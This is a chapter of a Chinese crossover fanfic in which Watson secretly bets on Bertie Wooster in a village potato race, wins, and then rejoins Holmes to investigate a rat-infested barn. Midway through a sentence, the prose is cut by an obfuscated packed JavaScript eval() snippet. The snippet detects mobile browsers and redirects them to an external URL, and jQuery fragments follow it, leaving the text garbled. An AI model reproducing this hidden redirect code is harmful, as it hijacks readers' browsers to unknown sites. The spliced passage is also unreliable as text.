27.第 27 章

作品:《[综英美]冤枉啊!福尔摩斯

    华生医生的手稿(五)续


    我和福尔摩斯在岔路口分开,同彼得森一起走进游乐场。


    已经有比赛在进行。他的主人看见他,板着脸训斥着,让他赶紧去换适合运动的衣服。他只来得及告诉我伍斯特先生参加的项目,便急匆匆离去了。


    和福尔摩斯共事那么多年,我也学会了一些查案技巧。赌场是个适合交换信息的好地方,我挤进人堆里,在黑板上看见了伍斯特先生的名字。


    “我说老兄。”我粗声粗气地对身边的中年男人说,他面色紫红,明显常年酗酒,“我从温彻斯特大老远来一趟,有没有值得信赖的选手投注呀?”


    “外地来的?第一次看比赛吧?那你可问对人了,我每年都仔细研究过。如果你想稳妥些,有几个选手绝对不会错,首先是警察局长弗格森先生,他常年垄断‘泥塘袋鼠跳’的前三名。”


    “那如果我想冒险呢?”我问。


    他眼睛里迸射出光,肥厚的嘴唇抖动着:“那你肯定要在伍斯特先生身上下注。他是今年新来的,谁也猜不到到底拿个什么名次。无论你是买他赢,还是买他能得到名次,都可以。”


    庄家的黑板上写着:


    混合动物土豆赛跑


    伍斯特/吉福斯,赢,12比1


    伍斯特/吉福斯,挺近前三,3比1


    我的银行存折通常由福尔摩斯保管,就锁在他的抽屉里,不过这次出远门,他破天荒给我塞了十英镑的巨款,让我自由支配。我看着这赌注,人类冒险和追求刺激的本能从心底涌现上来,丢了魂似地把手伸进口袋。


    等理智回归大脑,我已经手握十注的投注单,站在帐篷外面了。


    我买他赢。


    我有些仓皇地把投注单塞进口袋,好像生怕福尔摩斯会突然从茶歇摊的桌子下面钻出来。强烈的后悔占据了我的大脑,但是冥冥中又残存一丝希望,我快速穿过场地寻找着“混合动物土豆赛跑”的区域。


    “伯蒂!”


    有个人大喊着一头扎进帐篷。我记得那是伍斯特先生的朋友们给他取得绰号,赶紧放轻脚步,假装散步地走到帐篷附近,借着看风景的姿态,悄悄往里面瞧。


    一个穿棕色衣服的男人正激动地说着什么,在他对面是个大约六英尺三英寸高的年轻人,我立刻认出他就是伍斯特先生。


    他身材高挑纤细,哪怕在运动场上也衣着优雅。他有一头金棕色柔软的卷发,蔚蓝色的双眼映衬着蓝天白云,闪动着单纯的、天真无邪的光彩。当他和朋友说话时,展现在脸上的表情生动而有趣,我并没能听见他们的对话,但却不由自主地被他丰富可爱的神采所吸引。


    这一瞬间,我突然觉得之前所有对伍斯特先生的推测都是误解。他看起来是那种被上流社会精心培养的花骨朵儿,没有受过任何污染,保留着爱德华时期黄金年代的童真。


    他拿出钱包,慷慨地给了朋友一大笔钱。等朋友兴奋地蹦出帐篷后,他的表情又转变为苦巴巴的委屈。以我对女性的了解,这种柔弱可怜的姿态十分能激起她们心中的母爱,我毫不怀疑他笔下的女性争相与他订婚的事实。


    一道身影挡住了我的视线,那是他的贴身男仆吉福斯。他比伍斯特先生还要高两英寸左右,身材伟岸,熨烫笔直的男仆制服一尘不染,伸手帮主人摆弄着领口与袖子,看得出来在衣着方面的坚持。


    我怕形迹可疑,没有在帐篷外停留太久,不过很快他们便走了出来。伍斯特先生被领带遮住了双眼,由男仆领着来到赛场上。


    “哦,糟糕!”我身边的农夫们哀嚎着,“这不公平!他们怎么临时换位置!”


    “怎么了?”我问。


    “土豆!”


    “土豆?”


    “本来是伍斯特先生拿土豆!”旁边的木匠悲愤地说,“他的男仆老是找不着他的位置,我们都觉得他俩没希望了,买他们输。这属于诈骗!”


    “也不能这么说。”有人反驳,“谁说换位置他就突然可靠起来了?伍斯特先生更找不到位置,买他输准没错。不会有哪个傻瓜买他赢吧?”


    周围闹哄哄的,我的脑袋也是嗡嗡作响。


    装着投注单的口袋正在发烫,我绝望地想,若是福尔摩斯发现我把十英镑全输个精光,会露出多么气恼的表情。


    伍斯特先生孤零零地站在起跑线,像只瑟瑟发抖的落水狗。在我眼里,这个会害我输掉每一便士的罪魁祸首又变得可憎起来,尤其是当哨声吹响,他却没有任何反应,甚至看起来下一秒就要拔腿逃跑时。


    “该死的,跑啊!伍斯特!”我情不自禁大吼。


    没想到我这声吼真起了作用,他先是一个激灵,挺直了背,然后颤巍巍伸出右脚。他踩了踩前方的草地,像是在确认那里有没有坑,然后,他突然变得胸有成竹,迈步径直朝贴身男仆的方位走了过去。


    我惊异地转头看着吉福斯,这位五官严肃、轮廓分明的男人面色深沉地伫立在终点,嘴角带着若隐若现的笑容。他无疑是那种令人印象深刻的男性,深色的面庞如同古希腊沉思的雕像,环绕着智慧与艺术的光芒,正如伍斯特先生的小说里那样。


    我还在思考的时候,伍斯特先生已经如同乳燕投怀,扑进了吉福斯的身畔。


    “获胜者是——伯特伦·伍斯特先生!”


    此起彼伏的惨叫和跺脚声将我淹没,我看着那群下错注的观众,很想去看看庄家本上是不是写着伍斯特先生的名字。他几乎愚弄了所有人,让大家都以为他会输,结果他却赢得漂亮而干脆。


    等等。


    他赢了?


    他赢了?!


    我赢了!


    我不禁发出一声狂喜地叫喊,拿出投注单,金闪闪的阳光下,“十注,伍斯特/吉福斯,赢,12比1”结成了天边的彩虹,带着我一起飞到了苍穹之巅。


    “我中了!我中了!”我大叫着,在周围惊异和羡慕嫉妒的视线里奔出人群,狂喜着冲向赌场,手里炫耀着那张投注单,仿佛牛仔挥舞皮鞭。


    我把投注单伸到庄家面前,所有人都不可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460244|198395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    思议,我这个外地来的第一次就爆了冷门。我喜滋滋地兑换了一百二十英镑的钞票,被幸福淹没。


    除了我之外,还有另一位幸运的女士,她的本金是我的两倍,获得的利润更是惊人。


    我寻思着,现在去找福尔摩斯掏空他所有的口袋还来不来得及。


    我正打算继续买,忽然想起正事居然被抛下了,最终还是理智占了上风,重新回到场地里。伍斯特先生结束比赛后去了下午茶帐篷,那里都是当地的贵族乡绅,我没贸然进去。


    过了一阵子,我正喝着柠檬水,品尝栗子蛋糕,几个神色紧张的农妇闯进帐篷。顺着她们来时的路,我在远处的山坡上看见一群人,还有个显眼的白色身影。


    福尔摩斯到乡下喜欢穿米白色或浅灰色的西装,我猜测那可能是他,便打算吃完手里的东西去找他。这时,农妇们簇拥着本地治安官走出帐篷,零星的几个词语从她们的对话里飘出来。


    老鼠。


    我一个激灵,心想谷仓那里恐怕还是糟了鼠害。我三下五除二吃掉蛋糕,漱了漱口,起身走向山坡。


    “走……走……”


    虚弱的幽魂似的声音飘来,伍斯特先生一副如遭雷击的模样,脚步虚浮,却十分迅猛地奔向了场地外面,转眼跳上一辆阿斯顿·马丁,脚踩油门,和他的男仆疾驰而去。


    我顿时警醒。


    所有被他外貌蛊惑而放松的神经,以及因为中奖而雀跃的火热都冷寂下去。伍斯特先生为什么匆忙离开比赛现场?是因为刚才进入帐篷的农妇们嚷嚷着老鼠吗?他为何惊慌?那些老鼠和他有什么关系?


    我凭借双腿肯定赶不上汽车,只好循着治安官等人上了山坡,朝谷仓那边行进,直到我撞上了乱糟糟灭鼠的人群,和福尔摩斯。


    “谷仓里全都是老鼠,华生。”他手拿拐杖,用网兜罩着头脸,戴着手套,扎紧裤脚和袖口,“治安官和小镇居民正在紧急召集人马捕杀它们,防止引发疫病。你那边有什么消息?”


    我边依照他的模样做好防护,边把伍斯特先生的可疑点都说了出来,他安静地听着,时不时点点头。


    “他很可能回公馆了。”他说,“不过,倒不至于逃回伦敦,因为事情显然没到暴露恶行的那个程度。我有个想法,刚才我注意到那些老鼠并不是单纯地在谷仓里做窝,它们有个来源地,可以追踪到是谁在饲养这批瘟疫的载体。你跟我来。”


    我和他进入谷仓所在的围栏,四周到处都是拿着工具捕鼠的人们,和吱吱尖叫逃窜的老鼠。


    “顺便一问,华生。”他懒洋洋道,“你这满脸喜色从何而来?游乐场里该不会有赌马站吧?”


    “哦,你猜猜!”


    “你肯定赢了不少,口袋比分别时厚了一倍。”


    “福尔摩斯,看!”我伸手掏出皮夹,挥舞着钞票,“整整一百二十英镑!”


    他微微一挑眉,迅速地把钱全部从我手中抽走,塞进自己的口袋里。


    “回伦敦前你休想再摸到一下。”他严厉地说。